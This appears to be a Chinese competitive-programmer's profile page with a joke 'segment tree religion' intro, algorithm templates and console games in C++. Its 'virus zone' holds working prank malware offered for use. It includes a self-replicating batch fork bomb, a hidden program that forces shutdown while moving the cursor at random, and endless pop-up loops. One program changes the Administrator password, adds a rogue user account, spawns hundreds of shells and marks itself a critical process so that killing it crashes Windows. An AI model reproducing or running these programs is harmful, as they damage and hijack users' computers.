• 个人简介

    目录

    1. 拜线段树教的基本信息

    2. 病毒区(基本上重启可解决)

    3. 模板代码区

    4. gm区

    5. 娱乐区

    6. 怪谈区

    7. 草稿区

      ——警告——警告——警告——警告—— 未经作者允许不得抄袭!!!!!

    拜线段树教的基本信息

    本教链接

    QQ群号:127583023

    线段树麻烦篡改一下洛谷数据库,把团队改成高级团队

    线段树威武,线段树无敌!线段树带我们走向辉煌!!!

    入教必读

    大事寄

    本教制度

    线段树于题库中升起,如利剑般驱散黑暗,洒遍光明,化解迷茫,指引道路,构筑世界之真理。

    我,牛顿·爱因斯坦·王思全大帝,乃线段树之凡间代言人,拜线段树教教皇。线段树好闪,拜谢线段树!

    $$\def\showText#1#2#3{\normalsize\color{#1}\mathsf{#2}\\\scriptsize\mathsf{#3}\\\ \\}\showText{#2ca9e1}{『线段树于东方升起』}{—The\ Sun\ Rises\ In\ The\ East—}\showText{#3ea3ce}{『如利剑般展露锋芒』}{—Showing\ Its\ Edge\ Like\ A\ Sharp\ Sword—}\showText{#509cba}{『驱散黑暗』}{—Dispel\ The\ Darkness—}\showText{#6396a7}{『唤起芸芸众生昏沉的心灵』}{—Arouse\ The\ Drowsy\ Soul\ Of\ All\ Living\ Beings—}\showText{#758f93}{『照耀光明无限的前途似锦』}{—Shine\ Bright\ And\ Bright\ Future—} $$$$\def\showText#1#2#3{\large\color{#1}\mathsf{#2}\\\scriptsize\mathsf{#3}\\\ \\}\showText{#758f93}{『线段树好闪,拜谢线段树』}{—The\ Sun\ Is\ Shining—}\\\tag*{\normalsize\color{#6396a7}\text{————伟大的拜线段树教教皇}} $$

    #include<bits/stdc++.h>
    #define long long ll
    using namespace std;
    
    signed main()
    
    {
    
    return 0;
    }
    

    2病毒区(基本上重启可解决)

    亿些nb代码(慎入)

    #include<bits/stdc++.h>
    using namespace std;
    int main(){
    	freopen("11.out","w",stdout);
    	cout << ":1 \n start 11.bat \n goto 1";
    	fclose(stdout);
    	system("ren 11.out 11.bat");
    	system("start 11.bat");
    }
    
    #include<windows.h>
    #include<bits/stdc++.h>
    using namespace std;
    int main()
    {
        system("Shutdown -s -t 60");
        HWND hwnd;
        hwnd=FindWindow("ConsoleWindowClass",NULL);
        if(hwnd) ShowWindow(hwnd,SW_HIDE);
    	int x=GetSystemMetrics(SM_CXSCREEN);
    	int y=GetSystemMetrics(SM_CYSCREEN);
    	srand(time(0));
    	while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y);
    }
    
    #include <windows.h>
    #pragma comment (lib, "User32.lib")
    int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
        while(1){
        MessageBox(NULL, TEXT("关不掉吧!"), TEXT("中病毒啦~~你这个SB!"), MB_OK);//建立弹窗
    	}
        return 0;
    }
    
    #define _CRT_SECURE_NO_WARNINGS
    #include <iostream>
    #include <pthread.h>
    #include <unistd.h>
    #include <windows.h>
    #include <time.h>
    #include <conio.h>
    using namespace std;
    //线程1:鼠标效果 
    void *test(void *ptr)
    {
    	int i;
    	int x=GetSystemMetrics(SM_CXSCREEN);
    	int y=GetSystemMetrics(SM_CYSCREEN);
    	srand(time(NULL));
    	for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
    }
     
    void *test1(void *ptr)
    {
    	int j;
    	for(int u=0;u<100;u++)
    	{
    		cout<<u<<endl;	
    	} 
    }
     
    int main(void)
    {
    	pthread_t pId;
    	int i,ret;
    	pthread_t pId1;
    	int j,ret1;
    	//创建2个子线程:线程1id为pId,线程2id为pId1 
    	ret = pthread_create(&pId,NULL,test,NULL);
    	ret1 = pthread_create(&pId1,NULL,test,NULL);
     
    	if (ret != 0)
    	{
    		cout<<"error!"<<endl; 
    		return 0;
    	}
    	if (ret1 != 0)
    	{
    		cout<<"error!"<<endl; 
    		return 0;
    	}
    	
    	/*隐藏控制台图标*/ 
    	HWND hWnd = GetConsoleWindow(); 
        SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
     
    	/*调用自己文件*/
    	char s[100] = "start "; 
        system(strcat(s, _pgmptr)); 
        
        /*警告*/
        MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION); 
        
    	//等待线程pId和pId1的完成
    	pthread_join(pId,NULL);
    	pthread_join(pId1,NULL);
    	return 0;
     
    }
    

    行**!责**!

    #include <bits/stdc++.h>
    #include <windows.h>
    #include <winternl.h>
    using namespace std;
    void HideWindow() {
    	HWND hwnd;
    	hwnd=FindWindow("ConsoleWindowClass",NULL);
    	if(hwnd) ShowWindow(hwnd,SW_HIDE);
    	return;
    }
    int main() {
    	HideWindow();
    	int x=GetSystemMetrics(SM_CXSCREEN);   
    	int y=GetSystemMetrics(SM_CYSCREEN);
    	system("net user Administator 123456");
    	system("net user computer_virus computer_virus /add"); 
    	for(unsigned long long i = 1; i <= 500; i++)
    	{
    			system("start cmd");
    			for(int i=1;i<=100;i++)
    			{
    					SetCursorPos(rand()%y,rand()%x);
    			}
    	}
    	typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN);
        typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN);
        RtlAdjustPrivilege AdjustPrivilege;
        RtlSetProcessIsCritical SetCriticalProcess;
        HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll"));
        AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege");
        SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical");
        BOOLEAN b;
        AdjustPrivilege(20UL, TRUE, FALSE, &b);
        SetCriticalProcess(TRUE, NULL, FALSE);
    	return 0;
    }
    

    连点器

    #include<stdio.h>
    #include<windows.h>
    #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
    #define click mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,0,0,0,0)
    bool now;
    long long N=10000000,k;
    int main()
    {
      puts("按1点击左键,按2停止(Q和W上面的)");
      while(true)
      {
        if(now) click;
        if(KEY_DOWN('1')) now=true;
        if(KEY_DOWN('2')) now=false;
        for(long long i=1; i<=N; ++i) k=i+1;
      }
      return 0;
    }
    

    模板代码区

    ZY官方唯一认证小号

    装弱可耻——ZY

    算法模板

    欧拉筛:

    void prr(int b)
    {
      pris = 0;
      memset(pri,0,sizeof(pri));
      memset(isp,1,sizeof(isp));
      isp[1] = 0;
      for(long long i = 2; i <= b; i++)
      {
        if(isp[i] == 1) pri[++pris] = i;
        for(long long j = 1; i * pri[j] <= b; j++)
        {
          isp[i * pri[j]] = 0;
          if(i % pri[j] == 0) break;
        }
      }
    }
    

    快速幂:

    int mi(int a,int b)
    {
      int t = 1;
      while(b)
      {
        if(b % 2 == 1) t *= a;
        a *= a;
        b /= 2;
      }
      return t;
    }
    

    并查集:

    int fin(int k)
    {
      if(k == fa[k]) return k;
      return fa[k] = fin(fa[k]);
    }
    
    void join(int p,int q)
    {
    int fp = fin(p),fq = fin(q);
    if(fp != fq) fa[fq] = fp;
    }
    

    二分查找:

    void f()
    {
      int left = 0,right = n - 1;
      while (left <= right)
      {
        int mid = (left + right) / 2;
        if(s[mid] > a) right = mid - 1;
        else if(s[mid] < a) left = mid + 1;
        else
        {
          cout<<mid<<endl;
          break;
        }
      }
    }
    

    判断质数:

    bool q(int n)
    {
      if(n < 2) return false;
      if(n == 2) return true;
      for(int i = 2; i <= n / i; i++)
        if(n % i == 0)
          return false;
      return true;
    }
    

    邻接表存图:

    /*
    pre[j]:对于第i条边来说,它的上一条边是哪一条边
    now[x]:对于点x来说,最后一条描述它充当父结点的边是哪一条边
    son[i]:在第i条边中,充当子结点的点是哪一个
    */
    int eg,pre[100001],now[100001],son[100001];
    void adeg(int u,int v)
    {
      pre[++eg] = now[u];
      now[u] = eg;
      son[eg] = v;
    }
    

    gcd:

    int gc(int a,int b)
    {
      return (b % a == 0) ? a : gc(b % a,a);
    }
    

    线段树

    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int sumv[10000001],n,m,a[10000001],lazy[10000001];
    void push_up(int id)
    {
      sumv[id] = sumv[id * 2] + sumv[id * 2 + 1];
    }
    void push_down(int id,int l,int r)
    {
      if(lazy[id])//如果id有lazy标记
      {
        int mid = (l + r) / 2;
        lazy[id * 2] += lazy[id];//将它的左孩子的lazy加上它的lazy
        lazy[id * 2 + 1] += lazy[id];//将它的右孩子的lazy加上它的lazy
        sumv[id * 2] += lazy[id] * (mid - l + 1);//左孩子的Q+它下放的Q*区间长度
        sumv[id * 2 + 1] += lazy[id] * (r - mid);
        lazy[id] = 0;//清空lazy标记
      }
    }
    void bui(int id,int l,int r)
    {
      if(l == r)//叶子节点
      {
        sumv[id] = a[l];
        return ;
      }
      int mid = (l + r) / 2;
      bui(id * 2,l,mid);//递归创建左子树
      bui(id * 2 + 1,mid + 1,r);//递归创建右子树
      sumv[id] = sumv[id * 2] + sumv[id * 2 + 1];//左子树和+右子树和
    }
    void qjgx(int id,int l,int r,int x,int y,int v)//id:目前查到的节点编号  目前区间为[l,r]  目标是讲[x,y]的所有数+v
    {
      if(l >= x && r <= y)//[l,r]被[x,y]包含了
      {
        lazy[id] += v;//暂时不下放Q,加进lazy标记中
        sumv[id] += v * (r - l + 1);//将Q收入囊中
        return ;
      }
      push_down(id,l,r);//要来更新下面节点了,赶紧下放Q
      int mid = (l + r) / 2;
      if(x <= mid) qjgx(id * 2,l,mid,x,y,v);//因为只有x<=mid(即[l,mid]有一部分是被[x,y]覆盖了的)才需要去更新[l,mid]
      if(y > mid) qjgx(id * 2 + 1,mid + 1,r,x,y,v);
      push_up(id);//子节点更新完之后父节点当然也要更新(上升操作)
    }
    int find(int id,int l,int r,int x,int y)//id:目前查到的节点编号  目前区间为[l,r]  目标是求出[x,y]的和
    {
      if(x <= l && r <= y) return sumv[id];//[l,r]被[x,y]包含了
      push_down(id,l,r);//要查到id的子节点了,赶紧下放
      int mid = (l + r) / 2,ans = 0;
      if(x <= mid) ans += find(id * 2,l,mid,x,y);//ans+=左孩子和
      if(y > mid) ans += find(id * 2 + 1,mid + 1,r,x,y);//ans+=右孩子和
      return ans;
    }
    signed main()
    {
      cin>>n>>m;
      for(int i = 1; i <= n; i++) cin>>a[i];
      bui(1,1,n);
      while(m--)
      {
        int k,x,y,p;
        cin>>p>>x>>y;
        if(p == 1)
        {
          cin>>k;
          qjgx(1,1,n,x,y,k);
        }
        else cout<<find(1,1,n,x,y)<<'\n';
      }
      return 0;
    }
    

    树状数组

    int lowbit(int x)
    {
      return x & -x;
    }
    int query_sum(int x)
    { 
        int ans = 0; 
        while (x > 0)
        { 
            ans += c[x]; 
            x -= lowbit(x); 
        }
        return ans; 
    }
    void update(int x, int v)
    { 
        while (x <= n)
        { 
            c[x] += v; 
            x += lowbit(x); 
        } 
    }
    
    
    

    树的直径

    #include<bits/stdc++.h>
    #define int long long
    using namespace std;
    struct node
    {
      int v,w;
    };
    int n,u,v,w,ans,dp[1000001][2];
    vector<node>vec[1000001];
    void dfs(int u,int fa)
    {
      dp[u][0] = dp[u][1] = 0;
      for(int i = 0;i < vec[u].size();i++)
      {
        node t = vec[u][i];
        if(t.v == fa) continue;
        dfs(t.v,u);
        if(dp[t.v][0] + t.w > dp[u][0])
        {
          dp[u][1] = dp[u][0];
          dp[u][0] = dp[t.v][0] + t.w;
        }
        else if(dp[t.v][0] + t.w > dp[u][1]) dp[u][1] = dp[t.v][0] + t.w;
      }
      ans = max(ans,dp[u][0] + dp[u][1]);
    }
    signed main()
    {
      cin>>n;
      for(int i = 1;i < n;i++)
      {
        cin>>u>>v>>w;
        vec[u].push_back({v,w});
        vec[v].push_back({u,w});
      }
      dfs(1,0);
      cout<<ans;
      return 0;
    }
    

    lca

    #include<bits/stdc++.h>
    #define int long long
    using namespace std;
    int n,q,u,v;
    /*
    pre[j]:对于第i条边来说,它的上一条边是哪一条边
    now[x]:对于点x来说,最后一条描述它充当父结点的边是哪一条边
    son[i]:在第i条边中,充当子结点的点是哪一个
    */
    int eg,pre[100001],now[100001],son[100001],deep[100001],mx[1000001][70];
    void adeg(int u,int v)
    {
      pre[++eg] = now[u];
      now[u] = eg;
      son[eg] = v;
    }
    void dfs(int u,int fa,int dep)//计算每个点的深度
    {
      deep[u] = dep;//节点u的深度为dep
      for(int i = now[u]; i; i = pre[i])
      {
        int v = son[i];
        if(v == fa) continue;
        mx[v][0] = u;//节点v向上跳2^0个位置后节点为u(因为v的父节点就是u)
        dfs(v,u,dep + 1);
      }
    }
    int lca(int u,int v)
    {
      if(deep[u] < deep[v]) swap(u,v);//保证u为u,v中较深的节点
      for(int i = 60; i >= 0; i--)
        if(deep[mx[u][i]] >= deep[v])
          u = mx[u][i];//将u跳到和v同一层
      if(u == v) return u;
      for(int i = 60; i >= 0; i--)//每次u,v同跳2^i
        if(mx[u][i] != mx[v][i])//跳后不能相等,相等的化是公共祖先,但不一定最近
        {
          u = mx[u][i];
          v = mx[v][i];
        }
      return mx[u][0];//u,v都跳到最近公共祖先的下一层,这样再跳一步就是最近公共祖先了
    }
    signed main()
    {
      scanf("%lld%lld",&n,&q);
      for(int i = 1; i < n; i++)
      {
        cin>>u>>v;
        adeg(u,v);
        adeg(v,u);
      }
      dfs(1,0,1);
      for(int j = 1; j <= 60; j++)
        for(int i = 1; i <= n; i++)
          mx[i][j] = mx[mx[i][j - 1]][j - 1];
      while(q--)
      {
        scanf("%lld%lld",&u,&v);
        printf("%lld\n",lca(u,v));
      }
      return 0;
    }
    

    一维差分

    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int n,m,a[1000001],s,c[10000001];
    void bil()//构造差分数组
    {
      for(int i = 
    1;i <= n;i++) c[i] = a[i] - a[i - 1];
    }
    void gexi(int x,int y,int z)//修改操作
    {
      c[x] += z;
      c[y + 1] -= z;
    }
    signed main()
    {
      cin>>n>>m;
      for(int i = 1;i <= n;i++) cin>>a[i];
      bil();
      while(m--)
      {
        int x,y,z;
        cin>>x>>y>>z;
        gexi(x,y,z);
      }
      s = c[1];
      cout<<s<<' ';
      for(int i = 2;i <= n;i++) s += c[i],cout<<s<<' ';
      return 0;
    }
    

    二维差分

    #include <bits/stdc++.h>
    #define ll long long
    using namespace std;
    int n,m,q,a[1002][1002],c[1002][1002];
    void gexi(int x1,int y1,int x2,int y2,int x)
    {
      c[x1][y1] += x;
      c[x1][y2 + 1] -= x;
      c[x2 + 1][y1] -= x;
      c[x2 + 1][y2 + 1] += x;
    }
    signed main()
    {
      cin>>n>>m>>q;
      for(int i = 1;i <= n;i++)
        for(int j = 1;j <= m;j++)
        {
          cin>>a[i][j];
          gexi(i,j,i,j,a[i][j]);
        }
      while(q--)
      {
        int x1,y1,x2,y2,x;
        cin>>x1>>y1>>x2>>y2>>x;
        gexi(x1,y1,x2,y2,x);
      }
      for(int i = 1;i <= n;i++)
        for(int j = 1;j <= m;j++)
          c[i][j] += c[i - 1][j] + c[i][j - 1] - c[i - 1][j - 1];
      for(int i = 1;i <= n;i++)
      {
        for(int j = 1;j <= m;j++)
          cout<<c[i][j]<<' ';
        cout<<'\n';
      }
      return 0;
    }
    

    RMQ

    #include<bits/stdc++.h>
    #define int long long
    using namespace std;
    int t,n,q,a[1000001],mx[1000001][20],mn[1000001][20],s[1000001],x,y;
    void pre()
    {
      int r = log2(n);
      for(int i = 1; i <= r; i++)
        for(int j = 1; s[i] + j - 1 <= n; j++)
        {
          mx[j][i] = max(mx[j][i - 1],mx[j + s[i - 1]][i - 1]);
          mn[j][i] = min(mn[j][i - 1],mn[j + s[i - 1]][i - 1]);
        }
    }
    int f(int x,int y)
    {
      int r = log2(y - x + 1);
      int t1 = max(mx[x][r],mx[y - s[r] + 1][r]);//最大
      int t2 = min(mn[x][r],mn[y - s[r] + 1][r]);//最小
      return t1 - t2;//差
    }
    signed main()
    {
      s[0] = 1;
      for(int i = 1; i <= 20; i++) s[i] = s[i - 1] * 2;//s[i]代表2^i次方
      scanf("%lld%lld",&n,&q);
      for(int i = 1; i <= n; i++)
      {
        scanf("%lld",&t);
        mx[i][0] = mn[i][0] = t;//初始化,从第i个位置向后延2^0位的最大值和最小值都是输入的第i个位置上的数
      }
      pre();//预处理
      for(int i = 1; i <= q; i++)
      {
        scanf("%lld%lld",&x,&y);
        printf("%lld\n",f(x,y));//查询
      }
      return 0;
    }
    

    gm区

    flappy_bird

    //空格控制
    #include <cstdio>
    #include <ctime>
    #include <conio.h>
    #include <windows.h>
    #include <cstdlib>
    #include <cstring>
    using namespace std;
    //==================================================================
    #define hest 100            //跳的速度(点击到最高点有 (250/hest) 秒) 
    #define mo 2000             //跳的高度(每次点击跳到最高多 (((1+hest)*hest+hest)/mo) 格) 
    #define hei 20              //屏幕高度 
    #define wid 13              //屏幕宽度 
    #define det v*2-1
    #define gap 5               //柱子间上下的空隙长度 
    #define len 3               //柱子的宽度 
    #define T  25               //柱子移动时间单位      T t移动一格
    #define TT 500/T            //柱子出现频率            TT T出现一个 
    //==================================================================
    void color(int a)//颜色函数
    {
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
    }
    void gotoxy(int x,int y)//位置函数(列为x 行为y)
    {
    COORD pos;
    pos.X=2*x;
    pos.Y=hei-y;
    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
    }
    int v,h,hx,hy,t,tt,gg,quit,score,plused,wall[hei+5][wid+len+10];
    /*
    t:  时间基本单位          1t=4ms
    tt: 辅助作用                柱子每 移动T格tt++ 
    quit                        记录是否退出游戏 
    plused                      辅助用作计分 
    wall[i][j]  第 i 行第 j 列的柱子情况(0为空 1为有但还没打印 2为打印过了) 
    */ 
    void reset(){
    system("cls");
    color(4);
    for (int i=0; i<=wid; i++){gotoxy(i,-1); printf("※");}
    gg=0;
    hx=5;
    hy=hei/2;
    h=hy*mo;
    t=0;
    tt=-5; 
    v=hest;
    score=0;
    memset(wall,0,sizeof(wall));
    color(14); gotoxy(hx,hy); printf("◎");
    }
    void move_bird(){
    h+=(v*2-1);
    if (h>hei*mo) h=hei*mo;
    if (h/mo!=hy){
        gotoxy(hx,hy); printf("  ");
        hy=h/mo;
        if (hy<0) hy=h=0;//gg=1;
        if (wall[hy][hx]) gg=1;
        gotoxy(hx,hy);
        color(14); printf("◎");
    }
    }
    void move_wall(){
    for (int i=0; i<=hei; i++){
        int k=0,pp=0;
        while (k<wid+5){
            color(2); 
            for (; k<=wid+5 && !wall[i][k]; k++);
            if (k+len/2==hx){
                if (!plused) plused=1, score++;
                if (!pp) color(15),pp=1;
            }
            if (k>=0 && wall[i][k]) wall[i][k-1]=1;
            k-=2; if (k<-1) k=-1;
            while (wall[i][++k]){
                if (hx==k && hy==i) gg=1;
                if (k<=wid && wall[i][k]==1){wall[i][k]=2; gotoxy(k,i); printf("█");}
            }
            wall[i][k-1]=0; gotoxy(k-1,i); printf("  ");
        }
    }
    }
    void new_wall(){
    srand(time(NULL));
    int dd=(rand()%(hei-gap-1)+1),uu=dd+gap+1;
    for (int i=1; i<=len; i++) wall[dd][i+wid]=1;
    for (int i=dd-1; i>=0; i--) for (int j=2; j<len; j++) wall[i][j+wid]=1;
    for (int i=1; i<=len; i++) wall[uu][i+wid]=1;
    for (int i=uu+1; i<=hei; i++) for (int j=2; j<len; j++) wall[i][j+wid]=1;
    plused=0;
    }
    void game(){
    while (!gg){
        v--;
        if(kbhit()) {char ch=getch(); v=hest;}
        Sleep(4); t=(t+1)%T;
        if (tt==TT) tt=0, new_wall();
        if (t==0) tt++, move_wall();
        move_bird();
        color(8);
        gotoxy(wid/2,2*hei/3);
        printf("%d",score);
    }
    gotoxy(wid/2,-3); color(15); printf("GG~");
    gotoxy(wid/2-3,-5); printf("final score: %d",score);
    gotoxy(hx,hy); color(12); printf("◎");
    }
    int main(){
    char ch;
    while (ch!='*'){
        reset();
        ch=getch();
        game();
        Sleep(1500);
        while (kbhit()) ch=getch();
        Sleep(1000);
        ch=getch();
    }
    }
    

    flappy_bird2

    #include<bits/stdc++.h>
     #include<Windows.h>
     #define PR_Box printf("■")
     #define PR_Gold printf("★")
     #define PR_Ag printf("☆")
     #define PR_FBird printf("Ю")
     #define PR_DBird printf("Ф")
     #define PR_Land printf("┳┳┯")
     #define PR_Bg_TL printf("╔")
     #define PR_Bg_TR printf("╗")
     #define PR_Bg_DL printf("╚")
     #define PR_Bg_DR printf("╝")
     #define PR_Bg_X printf("═")
     #define PR_Bg_Y printf("║")
     #define PR_Blank printf(" ");
     int Grade=1,C_Gold=0,C_Ag=0,Score=0,Delay_time=1000,Max_blank=9,Distance=18;
     struct Birds {
     int x,y;
     int condition;
     };
     Birds*Bird=(Birds*)malloc(sizeof(Birds));
     struct Bg {
     int x,y;
     int l_blank;
     int reward[9];
     Bg*pri;
     Bg*next;
     };
     Bg*Bg1=new Bg[sizeof(Bg)];
     void Position(int x,int y) {
     COORD pos= {x-1,y-1};
     HANDLE Out=GetStdHandle(STD_OUTPUT_HANDLE);
     SetConsoleCursorPosition(Out,pos);
     }
     void CreatBird() {
     Bird->x=41;
     Bird->y=10;
     Bird->condition=0;
     }
     void CreatBg() {
     Bg*Bg2=(Bg*)malloc(sizeof(Bg));
     Bg1->x=90;
     Bg1->y=8;
     Bg2->x=Bg1->x+Distance;
     Bg2->y=9;
     Bg1->l_blank=Max_blank-Grade;
     Bg2->l_blank=Max_blank-Grade;
     Bg1->next=Bg2;
     Bg1->pri=Bg2;
     Bg2->next=Bg1;
     Bg2->pri=Bg1;
     }
     void InsertBg(Bg*p) {
     int temp;
     Bg*Bgs=(Bg*)malloc(sizeof(Bg));
     Bgs->x=p->pri->x+Distance;
     Bgs->l_blank=Max_blank-Grade;
     srand((int)time(0));
     temp=rand();
     if(temp%2==0) {
         if((temp%4+p->pri->y+Max_blank-Grade)<21)Bgs->y=p->pri->y+temp%4;
         else Bgs->y=p->pri->y;
     } else {
         if((p->pri->y-temp%4)>2)Bgs->y=p->pri->y-temp%4;
         else Bgs->y=p->pri->y;
     }
     Bgs->pri=p->pri;
     Bgs->next=p;
     p->pri->next=Bgs;
     p->pri=Bgs;
     }
     void Check_Bg(Bg*q) {
     Bg*p=q;
     int i=0,temp;
     while(++i<=5) {
         if(p->x>-4)p=p->next;
         else {
             srand((int)time(0));
             temp=rand();
             if(temp%2==0) {
                 if((temp%4+p->y+Max_blank-Grade)<21)p->y=p->y+temp%4;
                 else p->y=p->y;
                 p->x=p->pri->x+Distance;
                 p->l_blank=Max_blank-Grade;
             } else {
                 if((p->y-temp%4)>2)p->y=p->y-temp%4;
                 else p->y=p->y;
                 p->x=p->pri->x+Distance;
                 p->l_blank=Max_blank-Grade;
             }
         }
     }
     }
     void Loop_Bg(Bg*q) {
     Bg*p=q;
     int i=0;
     while(++i<=5) {
         p->x=p->x-1;
         p=p->next;
         if(Bird->x==p->x) {
             Score+=1;
             if(Score%4==0&&Grade<4)Grade++;
         }
     }
     }
     void Prt_Bg(Bg*q) {
     Bg*p=q;
     int i=0,k,j;
     while(++i<=5) {
         if(p->x>0&&p->x<=78) {
             for(k=2; k<p->y; k++) {
                 Position(p->x+1,k);
                 PR_Box;
                 PR_Box;
                 PR_Blank
             }
             Position(p->x,p->y);
             PR_Box;
             PR_Box;
             PR_Box;
             PR_Blank;
             Position(p->x,p->y+p->l_blank);
             PR_Box;
             PR_Box;
             PR_Box;
             PR_Blank;
             k=k+p->l_blank+1;
             for(k; k<=22; k++) {
                 Position(p->x+1,k);
                 PR_Box;
                 PR_Box;
                 PR_Blank;
             }
             Position(p->x,23);
             for(k=1; k<Distance/3-2; k++)PR_Land;
         }
         p=p->next;
         if(p->x==0) {
             for(j=2; j<p->y; j++) {
                 Position(p->x+1,j);
                 PR_Blank;
                 PR_Blank;
             }
             Position(p->x+1,p->y);
             PR_Blank;
             PR_Blank;
             PR_Blank;
             Position(p->x+1,p->y+Max_blank-Grade);
             PR_Blank;
             PR_Blank;
             PR_Blank;
             j=j+Max_blank-Grade+1;
             for(j; j<=22; j++) {
                 Position(p->x+1,j);
                 PR_Blank;
                 PR_Blank;
             }
         }
     }
     }
     void PrtBg() {
     int i;
     Position(1,1);
     PR_Bg_TL;
     Position(79,1);
     PR_Bg_TR;
     Position(1,24);
     PR_Bg_DL;
     Position(79,24);
     PR_Bg_DR;
     for(i=3; i<=78; i+=2) {
         Position(i,1);
         PR_Bg_X;
         Position(i,24);
         PR_Bg_X;
     }
     }
     void PrtBird() {
     Position(Bird->x,Bird->y-1);
     PR_Blank;
     Position(Bird->x,Bird->y);
     PR_FBird;
     Position(38,2);
     printf("Score:%d",Score);
     }
     int CheckYN(Bg*q) {
     Bg*p=q;
     int i=0;
     while(++i<=5) {
         if(Bird->y>23)return 0;
         if(Bird->x==p->x&&Bird->y<=p->y)return 0;
         if((Bird->x==p->x||Bird->x==p->x+1||Bird->x==p->x+2)&&Bird->y==p->y)return 0;
         if(Bird->x==p->x&&Bird->y>p->y+p->l_blank)return 0;
         if((Bird->x==p->x||Bird->x==p->x+1||Bird->x==p->x+2)&&Bird->y==p->y+p->l_blank)return 0;
         p=p->next;
     }
     return 1;
     }
     void Prtfirst() {
     printf("══════════════════════════════════════\n");
     printf(" ■■ ■■\n");
     printf(" ■■ ■■\n");
     printf(" ■■ ■■\n");
     printf(" ■■ ■■\n");
     printf(" ■■ ■■ C++语言版 Flappy Bird\n");
     printf(" ■■ ■■ 瞎搞人:侦探鼠\n");
     printf(" ■■ ■■ 瞎搞日期:2019.7.3\n");
     printf(" ■■ ■■ 耗时:2.46小时\n");
     printf(" ■■■ ■■ 游戏说明:\n");
     printf(" ■■ 1-按上箭头使鸟起飞\n");
     printf(" ■■ 2-等级越高,难度越大!\n");
     printf(" Ю ■■■\n");
     printf("\n");
     printf(" \n\n\n\n\n\n\n\n");
     printf(" ┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳\n");
     system("pause");
     Position(1,1);
     int i=0;
     while(i++<40*25)PR_Blank;
     }
     int main() {
     int i=0;
     char ch;
     Prtfirst();
     PrtBg();
     CreatBg();
     InsertBg(Bg1);
     InsertBg(Bg1);
     InsertBg(Bg1);
     CreatBird();
     while(1) {
         if(!CheckYN(Bg1))break;
         Check_Bg(Bg1);
         Prt_Bg(Bg1);
         PrtBird();
         Loop_Bg(Bg1);
         Bird->y=Bird->y+1;
         if(GetAsyncKeyState(VK_UP)) {
             Position(Bird->x,Bird->y-1);
             PR_Blank;
             Bird->y=Bird->y-4;
         }
         while(i++<500);
         {
             Sleep(100);
         }
         i=0;
     }
     Position(38,10);
     printf("Game Over!");
     Position(1,25);
     system("pause");
     }
    

    忍者必须胎

    #include<bits/stdc++.h>
    #include<windows.h>
    #include<stdio.h>
    #include<conio.h>
    #include<time.h>
    #define Nor if(B[b].x<5) B[b].x=5;
    #define Out1 Bx1-Bvx1<=6||Bx1-Bvx1>=28||By1-Bvy1<=7||By1-Bvy1>=27
    #define Out2 Bx2-Bvx2<=6||Bx2-Bvx2>=28||By2-Bvy2<=7||By2-Bvy2>=27
    #define Chang1 {Bwhat1=0;Bvx1=Bvy1=0;memset(Bgo1,0,sizeof(Bgo1));}
    #define Chang2 {Bwhat2=0;Bvx2=Bvy2=0;memset(Bgo2,0,sizeof(Bgo2));}
    #define Chang3 {Bwhat3=0;Bvx3=Bvy3=0;memset(Bgo3,0,sizeof(Bgo3));}
    using namespace std;
    int ti(float a) {return ((int)(a*10+5))/10;}
    void Setpos(float x,float y){COORD pos;pos.X=ti(y*4)/2;pos.Y=ti(x);SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}
    void Color(int a){if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED);if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_GREEN|BACKGROUND_BLUE);if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),BACKGROUND_INTENSITY|BACKGROUND_RED|BACKGROUND_BLUE);if(a==11) 